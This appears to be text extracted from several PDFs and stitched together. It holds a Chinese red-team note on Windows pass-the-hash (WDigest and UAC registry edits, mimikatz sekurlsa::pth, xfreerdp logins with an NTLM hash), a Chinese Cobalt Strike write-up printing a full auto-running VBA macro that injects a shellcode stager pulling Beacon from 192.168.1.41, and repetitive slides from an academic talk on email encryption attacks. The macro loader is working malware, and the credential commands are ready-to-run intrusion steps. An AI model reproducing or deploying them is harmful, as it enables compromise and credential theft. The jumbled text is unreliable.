HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDige
st
1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f
1
0x04 KB2871997
1SID
whoami /priv SID
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
/v UseLogonCredential /t REG_DWORD /d 1 /f
1
rundll32.exe user32.dll LockWorkStation
1
#include<windows.h>
int main(){
LockWorkStation();
return 0;
}
1
2
3
4
5
//cs
desktop [explorer pid] x86|x64 low|high
//msf
migrate [explorer pid]
screenshot
1
2
3
4
5
6
S-1-5-113: NT AUTHORITY\Local
S-1-5-114: NT AUTHORITY\Local
1
2
SID
S-1-5-113 S-1-5-114 Administrators 114 113
SID """
“/
2Restricted Admin RDP Overpass-the-hash)
Restricted Admin RDP Client
Windows 8.1 Windows Server 2012 R2
Windows 7 Windows Server 2008 R2 KB2871997KB2973351
Restricted Admin mode (2)
13126593
2 (DisableRestrictedAdmin 0 1 )
Restricted Admin mod RDP
Restricted Admin mode
Pass the Hash with Remote Desktop
Restricted Admin mode Windows
Pass The Hash (Pass the Hash with Remote Desktop)
Server Restricted Admin modeClient Restricted Admin mode
mimikatz pth attack
mimikatz pth (Pass The Hash), Overpass-the-hash "Pass-the-Key"
reg add HKLM\System\CurrentControlSet\Control\Lsa /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
1
mstsc.exe /restrictedadmin
1
privilege::debug
sekurlsa::pth /user:d4rksec /domain:192.168.100.8
/ntlm:5a60baa90ab348a171ef29426a0a98df "/run:mstsc.exe
/restrictedadmin"
1
2
.
xfreerdp Bypass Restricted Admin Mode ()
0x05
1UAC
UAC
1UACAdministrators
2fulladministrator
3AccessTokenUAC
4 RID 500 administrator
UAC
FilterAdministratorToken
Server 2008 Disable(),RID500
FilterAdministratorToken 1 administrator
xfreerdp /u:administrator /p:p3ssw0rd /v:192.168.100.8 /cert-ignore
xfreerdp /u:administrator /p:5a60baa90ab348a171ef29426a0a98df
/v:192.168.100.8 /cert-ignore
1
2
3
Server RDP Restricted Admin mod
Overpass-the-Hash
LocalAccountTokenFilterPolicy
UAC LocalAccountTokenFilterPolicy 1
0
LocalAccountTokenFilterPolicy 0 )
reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
FilterAdministratorToken /t REG_DWORD /d 00000001 /f
1
reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
FilterAdministratorToken /t REG_DWORD /d 00000000 /f
1
sekurlsa::pth /domain:192.168.100.8 /user:administrator
/ntlm:5a60baa90ab348a171ef29426a0a98df "/run:mstsc.exe
/restrictedadmin"
1
reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 00000001 /f
1
reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 00000000 /f
1
0x06
https://support.microsoft.com/zh-cn/help/2871997/microsoft-security-advisory-update-to-improv
e-credentials-protection-a
https://support.microsoft.com/zh-cn/help/4488256/how-to-block-remote-use-of-local-accounts-in
-windows
https://docs.microsoft.com/en-us/security-updates/SecurityAdvisories/2016/2871997
https://support.microsoft.com/en-us/help/2973351/microsoft-security-advisory-registry-update-t
o-improve-credentials-pro
https://docs.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard | pdf |
我的CS笔记之- In-memory Evasion 2
0x01 前言
内存逃逸的第二部分主要是作者讲诉CS的Payload的一个完整执行流程,这个对理解CS植入体非常重
要,对后面做免杀、规避都起到很大作用。第一部分讲侦测手法、第二部分讲自身运行流程,真的是知
己知彼。这一部分作者先讲诉了Stager是什么?然后讲述一个分段加载Payload的完整执行流程,接着
就是不分段加载,最后作者讲了进程注入相关技术在CS中的应用。
0x02 分阶段payload和不分阶段payload
关于分不分阶段,使用过CS的小伙伴应该都很清楚了,但是里面的具体细节,相信很多小伙伴也是一知
半解。下面就详细说下分阶段Payload。
分阶段的payload在进程中执行的流程:
1. 申请一个块儿内存(allocate memory)
2. 复制Stager去这一块儿内存里
3. 创建一个线程,运行这个Stager
4. 这个Stager会再次申请一块儿内存(allocate memory)
5. Stager去下载加密的payload,写入申请的内存中
6. Stager把执行流程转递给这个加密的payload
7. 加密的payload自解密成Reflective DLL
8. 然后把执行流程传递给Reflective DLL
9. Reflective DLL 申请一个块儿内存(allocate memory)
10. 然后初始化自己在新的内存里面
11. 最后reflective DLL 调用payload的入口点函数
这就是一个分阶段的payload的完整加载流程,如果你细细思考,里面存在一个问题,就是第7步被加密
的payload怎么自解密?实际情况是这个所谓的被加密的payload分为2部分,一部分是解密程序,这个
是不加密的,然后才是被加密的反射dll,也就是Beacon.dll。
从1-3是我们loader的执行,3-6是Stager在内存中的执行,7-8是加密payload的执行,9-11是反射DLL
的执行。
我们通过CS生成一个macro样本loader,直观的感受下:
loader
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 1 / 7 - Welcome to www.red-team.cn
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias
"CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long,
ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long,
ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias
"VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As
Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias
"WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef
Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias
"CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As
String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal
bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any,
ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO,
lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function CreateStuff Lib "kernel32" Alias
"CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long,
ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long,
ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx"
(ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal
flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory"
(ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length
As Long, ByVal LengthWrote As Long) As Long
Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA"
(ByVal lpApplicationName As String, ByVal lpCommandLine As String,
lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As
Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal
lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation
As PROCESS_INFORMATION) As Long
#End If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 2 / 7 - Welcome to www.red-team.cn
Dim rwxpage As Long, res As Long
#End If
myArray =
Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,
-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1
,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,
88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,1
04,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,-24,0,0,0,0,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-92,0,0,0,91,4
9,-55,81,81,106,3,81,81,104,-69,1,0,0,83, _
80,104,87,-119,-97,-58,-1,-43,80,-23,-116,0,0,0,91,49,-46,82,104,0,50,-64,-124,8
2,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61, _
80,104,-128,51,0,0,-119,-32,106,4,80,106,31,86,104,117,70,-98,-122,-1,-43,95,49,
-1,87,87,106,-1,83,86,104,45,6,24,123,-1,-43,-123,-64,15, _
-124,-54,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119
,-63,104,69,33,94,49,-1,-43,49,-1,87,106,7,81,86,80,104, _
-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,117,7,88,80,-23,123,-1,-1,-1,49,-1,-23,
-111,1,0,0,-23,-55,1,0,0,-24,111,-1,-1,-1,47, _
51,76,114,107,0,-109,-91,-125,30,-110,69,-22,-15,61,-39,25,45,22,28,-86,75,-98,-
50,89,-113,112,46,-124,28,53,96,27,-98,111,65,105,-36,-127,85,-18, _
34,1,86,46,84,-52,-79,-4,71,-47,74,-83,59,-113,59,-124,119,-8,49,-116,44,-127,11
2,17,19,19,75,28,-112,75,91,-26,80,15,-122,25,96,-98,0,85, _
115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,52,46,48,32
,40,99,111,109,112,97,116,105,98,108,101,59,32,77,83,73,69, _
32,55,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,53,46,49,59,32,46,78,69
,84,32,67,76,82,32,49,46,49,46,52,51,50,50,41, _
13,10,0,84,-98,-33,90,-46,51,-110,12,-47,40,-16,-113,18,-41,62,98,67,65,-96,-54,
-95,-100,-77,-10,-98,-51,-47,5,-116,122,41,51,-104,-6,-67,-3,-52, _
37,125,-41,-96,-58,85,-68,23,-36,110,-4,-43,-118,-16,-89,-112,110,127,19,3,-79,-
84,46,126,114,-83,89,-118,82,98,12,97,41,-10,-81,4,34,-12,-77,16, _
-94,12,71,-113,106,57,-119,87,-44,11,1,-43,-21,82,66,22,-16,-89,56,-106,-3,110,6
4,-112,121,-41,86,28,28,63,-7,-58,-95,-90,16,82,-10,-112,-95,-103, _
-26,-37,98,124,-69,-113,97,-2,-103,56,-29,-31,-47,0,55,29,-25,-66,-73,-24,87,119
,53,74,82,85,-4,117,-28,-113,19,17,61,54,103,-64,8,96,-58,-40, _
-29,91,25,-76,-58,-49,13,-35,124,79,88,-70,85,18,31,-103,67,9,-94,-5,64,62,127,1
3,-13,27,-106,-9,-35,69,-80,-25,95,52,56,81,-41,70,94,40, _
102,70,-123,103,99,88,109,52,24,-108,100,-36,-122,-94,30,28,-113,-48,-22,29,97,5
,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,104,0,0, _
64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,
32,0,0,83,86,104,18,-106,-119,-30,-1,-43,-123,-64,116, _
-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-119,-3,-1,-1,49,57,50,46,49,54,56,
46,49,46,52,49,0,1,-55,-61,127)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal
0&, sNull, sInfo, pInfo)
rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 3 / 7 - Welcome to www.red-team.cn
这就是1-3步的loader,它启动了一个rundll32.exe的进程,然后在进程中申请了一块内存,并复制
Stager,进入内存,然后创建线程执行Stager。
Stager就是其中的myArray:
Next offset
res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,1
14,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
13,1,-57,-30,-16,82,87,-117,82,16,-117,66,60,1,-48,-117,64,120,-123,-64,116,74,1
,-48,80,-117,72,24,-117,88,32,1,-45,-29,60,73,-117,52,-117,1, _
-42,49,-1,49,-64,-84,-63,-49,13,1,-57,56,-32,117,-12,3,125,-8,59,125,36,117,-30,
88,-117,88,36,1,-45,102,-117,12,75,-117,88,28,1,-45,-117,4, _
-117,1,-48,-119,68,36,36,91,91,97,89,90,81,-1,-32,88,95,90,-117,18,-21,-122,93,1
04,110,101,116,0,104,119,105,110,105,84,104,76,119,38,7,-1, _
-43,-24,0,0,0,0,49,-1,87,87,87,87,87,104,58,86,121,-89,-1,-43,-23,-92,0,0,0,91,4
9,-55,81,81,106,3,81,81,104,-69,1,0,0,83, _
80,104,87,-119,-97,-58,-1,-43,80,-23,-116,0,0,0,91,49,-46,82,104,0,50,-64,-124,8
2,82,82,83,82,80,104,-21,85,46,59,-1,-43,-119,-58,-125,-61, _
80,104,-128,51,0,0,-119,-32,106,4,80,106,31,86,104,117,70,-98,-122,-1,-43,95,49,
-1,87,87,106,-1,83,86,104,45,6,24,123,-1,-43,-123,-64,15, _
-124,-54,1,0,0,49,-1,-123,-10,116,4,-119,-7,-21,9,104,-86,-59,-30,93,-1,-43,-119
,-63,104,69,33,94,49,-1,-43,49,-1,87,106,7,81,86,80,104, _
-73,87,-32,11,-1,-43,-65,0,47,0,0,57,-57,117,7,88,80,-23,123,-1,-1,-1,49,-1,-23,
-111,1,0,0,-23,-55,1,0,0,-24,111,-1,-1,-1,47, _
51,76,114,107,0,-109,-91,-125,30,-110,69,-22,-15,61,-39,25,45,22,28,-86,75,-98,-
50,89,-113,112,46,-124,28,53,96,27,-98,111,65,105,-36,-127,85,-18, _
34,1,86,46,84,-52,-79,-4,71,-47,74,-83,59,-113,59,-124,119,-8,49,-116,44,-127,11
2,17,19,19,75,28,-112,75,91,-26,80,15,-122,25,96,-98,0,85, _
115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,52,46,48,32
,40,99,111,109,112,97,116,105,98,108,101,59,32,77,83,73,69, _
32,55,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,53,46,49,59,32,46,78,69
,84,32,67,76,82,32,49,46,49,46,52,51,50,50,41, _
13,10,0,84,-98,-33,90,-46,51,-110,12,-47,40,-16,-113,18,-41,62,98,67,65,-96,-54,
-95,-100,-77,-10,-98,-51,-47,5,-116,122,41,51,-104,-6,-67,-3,-52, _
37,125,-41,-96,-58,85,-68,23,-36,110,-4,-43,-118,-16,-89,-112,110,127,19,3,-79,-
84,46,126,114,-83,89,-118,82,98,12,97,41,-10,-81,4,34,-12,-77,16, _
-94,12,71,-113,106,57,-119,87,-44,11,1,-43,-21,82,66,22,-16,-89,56,-106,-3,110,6
4,-112,121,-41,86,28,28,63,-7,-58,-95,-90,16,82,-10,-112,-95,-103, _
-26,-37,98,124,-69,-113,97,-2,-103,56,-29,-31,-47,0,55,29,-25,-66,-73,-24,87,119
,53,74,82,85,-4,117,-28,-113,19,17,61,54,103,-64,8,96,-58,-40, _
-29,91,25,-76,-58,-49,13,-35,124,79,88,-70,85,18,31,-103,67,9,-94,-5,64,62,127,1
3,-13,27,-106,-9,-35,69,-80,-25,95,52,56,81,-41,70,94,40, _
102,70,-123,103,99,88,109,52,24,-108,100,-36,-122,-94,30,28,-113,-48,-22,29,97,5
,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,104,0,0, _
64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,
32,0,0,83,86,104,18,-106,-119,-30,-1,-43,-123,-64,116, _
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 4 / 7 - Welcome to www.red-team.cn
这是一段shellcode,就是http协议的下载者,和msf是一样的,使用的是HD moore(msf创始人之
一,比特币早期持有者,羡慕死了)写的shellcode,也就是这个汇编代码https://github.com/rapid7/
metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reve
rse_http.asm
3-6步执行的就是如上的Stager,7-8步时执行的加密的payload,前面说了这个所谓的加密payload,分
为加密部分和不加密部分。加密部分使用xor亦或,加密的是Beacon.dll,具体代码在CS的
XorEncoder.java中,小伙伴可以自己阅读下。以前CS使用单字节加密,很容易被yara给解密了,后面
使用了多字节。不加密部分就是一段解密Xor代码,也是汇编代码,感兴趣的小伙伴到视频的13:20秒去
阅读下。
最后9-11步时反射DLL的执行,这个代码也是开源的https://github.com/stephenfewer/ReflectiveDLLI
njection。这就是分段加载payload的加载细节。我们通过process hacker去查看内存,就会发现3个可
读可写可执行的内存,对应上了我们上面步骤中3次的内存申请,4k的是stager、4096k的是加密
payload、268k的是反射dll。
这是分段的,那么不分段的呢?
1. 申请一个块儿内存(allocate memory)
2. 复制Stager去这一块儿内存里
3. 创建一个线程,运行这个Stager
4. 这个Stager会再次申请一块儿内存
5. Stager去下载加密的payload,写入申请的内存中
6. Stager把执行流程转递给这个加密的payload
7. 加密的payload自解密成Reflective DLL
-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-119,-3,-1,-1,49,57,50,46,49,54,56,
46,49,46,52,49,0,1,-55,-61,127
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 5 / 7 - Welcome to www.red-team.cn
8. 然后把执行流程传递给Reflective DLL
9. Reflective DLL 申请一个块儿内存
10. 然后初始化自己在新的内存里面
11. 最后reflective DLL 调用payload的入口点函数
Stage = Relective DLL
不分阶段比分阶段少了很多内存操作流程,也就少调用了很多API,因此比较OPSEC,作者给了一张CS
中Artifact(loader)的行为图:
在不分阶段的Payload的执行步骤中,我们可以看出1-3其实就是Artifact Kit/Resource Kit可以自定义
的,9-11还是我们不太能控制的,我,希望CS早日开放这块儿的控制。
0x02 进程注入在CS中的应用
进程注入这个流程玩CS的小伙伴应该倒背如流了,打开远程进程->分配内存,复制程序去内存->创建线程
执行。这个是经典注入,CS也使用了Process hollowing技术,详细的技术阅读@idiotc4t同学的这篇文
章https://idiotc4t.com/code-and-dll-process-injection/process-hollowing。CS使用的process
hollowing略有区别,作者称为丐版Process hollowing,流程是,打开远程进程->分配内存,复制程序去
内存->劫持存在的线程运行程序(有人叫线程劫持,不管叫什么,知道技术原理最重要)。
Process hollowing 比经典注入更加OPSEC,对比如图:
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 6 / 7 - Welcome to www.red-team.cn
0x03 总结
In-memory Evasion 2 主要讲诉的还是A payload's life。梳理清楚payload在内存中的执行流程的每个
细节,然后再拆解到CS的自定义功能中,非常有利于我们做对抗。最后的进程注入技术,虽然略显老
旧,现在已经出现了各种新的进程注入技术例如:Process Doppelgänging、Process Ghosting等等。
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 7 / 7 - Welcome to www.red-team.cn | pdf |
Re: What’s up Johnny?
Covert Content Attacks on Email End-To-End Encryption
Jens Müller, Marcus Brinkmann, Damian Poddebniak,
Sebastian Schinzel, Jörg Schwenk
Remember EFAIL?
2
• Last year: EFAIL
Remember EFAIL?
2
• Last year: EFAIL
– Major attack with a logo
Remember EFAIL?
2
• Last year: EFAIL
– Major attack with a logo
– Novel attack techniques
targeting S/MIME + PGP
Remember EFAIL?
2
• Last year: EFAIL
– Major attack with a logo
– Novel attack techniques
targeting S/MIME + PGP
• Today: non-crypto attacks
Remember EFAIL?
2
• Last year: EFAIL
– Major attack with a logo
– Novel attack techniques
targeting S/MIME + PGP
• Today: non-crypto attacks
– Targeting encryption and digital signatures
Remember EFAIL?
2
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
3
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
3
Technology's promise
4
I.
“Strong crypto is virtually unbreakable.”
Technology's promise
4
I.
“Strong crypto is virtually unbreakable.”
II.
“Digital signature will prevail. Math wins.”
Technology's promise
4
I.
“Strong crypto is virtually unbreakable.”
II.
“Digital signature will prevail. Math wins.”
Technology's promise
…claims I. and II. could be bypassed with
a single reply to a benign looking email?
What if…
4
From: [email protected]
To: [email protected]
Subject: Important news
Some ASCII text message…
Traditional RFC822 email
5
From: [email protected]
To: [email protected]
Subject: Important news
Some ASCII text message…
Traditional RFC822 email
5
From: [email protected]
To: [email protected]
Subject: Important news
Some ASCII text message…
Traditional RFC822 email
5
From: [email protected]
To: [email protected]
Subject: Important news
-----BEGIN PGP MESSAGE-----
…
-----END PGP MESSAGE-----
Traditional PGP/Inline
6
From: [email protected]
To: [email protected]
Subject: Important news
-----BEGIN PGP MESSAGE-----
…
-----END PGP MESSAGE-----
Traditional PGP/Inline
6
From: [email protected]
To: [email protected]
Subject: Important news
-----BEGIN PGP MESSAGE-----
…
-----END PGP MESSAGE-----
Traditional PGP/Inline
6
Multipart MIME email
7
Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7
Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7
Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7
Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
7
Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
multipart/mixed
7
Content-type: text/plain
Some ASCII text message…
Content-type: text/plain
This is the 2nd part
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Multipart MIME email
multipart/mixed
text
text
7
From: [email protected]
To: [email protected]
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/html
<b>HTML</b> message…
Content-type: application/pdf
%PDF-1.4 […]
Multipart MIME email
multipart/mixed
pdf
html
7
From: [email protected]
To: [email protected]
Subject: Important news
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
S/MIME
8
From: [email protected]
To: [email protected]
Subject: Important news
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
S/MIME
8
From: [email protected]
To: [email protected]
Subject: Important news
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
S/MIME
8
OpenPGP (RFC 4880)
• Favored by privacy advocates
• Web-of-trust (no authorities)
S/MIME (RFC 5751)
• Favored by organizations
• Multi-root trust-hierarchies
Two competing standards
9
OpenPGP (RFC 4880)
• Favored by privacy advocates
• Web-of-trust (no authorities)
S/MIME (RFC 5751)
• Favored by organizations
• Multi-root trust-hierarchies
Two competing standards
9
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
10
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
10
Attacker model
11
• Eve has captured ciphertext
Attacker model
11
• Eve has captured ciphertext
• Can modify email structure
Attacker model
11
• Eve has captured ciphertext
• Can modify email structure
• Can re-send it to the victim
Attacker model
11
• Eve has captured ciphertext
• Can modify email structure
• Can re-send it to the victim
– Either to recipient or sender
Attacker model
11
• Eve has captured ciphertext
• Can modify email structure
• Can re-send it to the victim
– Either to recipient or sender
– Both can decrypt the email
Attacker model
11
Covert content attack: Decryption oracle
12
Covert content attack: Decryption oracle
12
Covert content attack: Decryption oracle
12
Covert content attack: Decryption oracle
12
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
Content-type: text/plain
What's up Johnny?
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
To: [email protected]
Decryption oracle
From: [email protected]
Content-Type: application/pkcs7-mime
MIAGCSqGSIb3DQEHA6CAMIACAQAxggHJMIIB…
Content-type: text/plain
What's up Johnny?
multipart/mixed
???
text
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/plain
What's up Johnny?
multipart/mixed
text
secret
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/plain
What's up Johnny?
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/plain
What's up Johnny?
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/plain
What's up Johnny?\n\n\n\n\n\n…
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/plain
What's up Johnny?\n\n\n\n\n\n…
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/html
What's up Johnny? <!--
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-type: text/plain
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/html
What's up Johnny? <!--
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-ID: <part2>
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/html
What's up Johnny? <img src="cid:part2">
13
Content-type: multipart/mixed; boundary="XXX"
--XXX
--XXX
--XXX--
Content-Disposition: attachment
Secret message, for Johnny's eyes only…
To: [email protected]
Decryption oracle
From: [email protected]
Content-type: text/plain
What's up Johnny?
13
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
14
1. Introduction
2. Attacks on Encryption
3. Attacks on Signatures
4. Evaluation
5. Mitigation
Overview
14
Covert content attack: Signing oracle
15
Covert content attack: Signing oracle
15
Covert content attack: Signing oracle
15
Covert content attack: Signing oracle
15
Covert content attack: Signing oracle
15
From: [email protected]
To: [email protected]
Content-type: text/html
What's up Johnny?
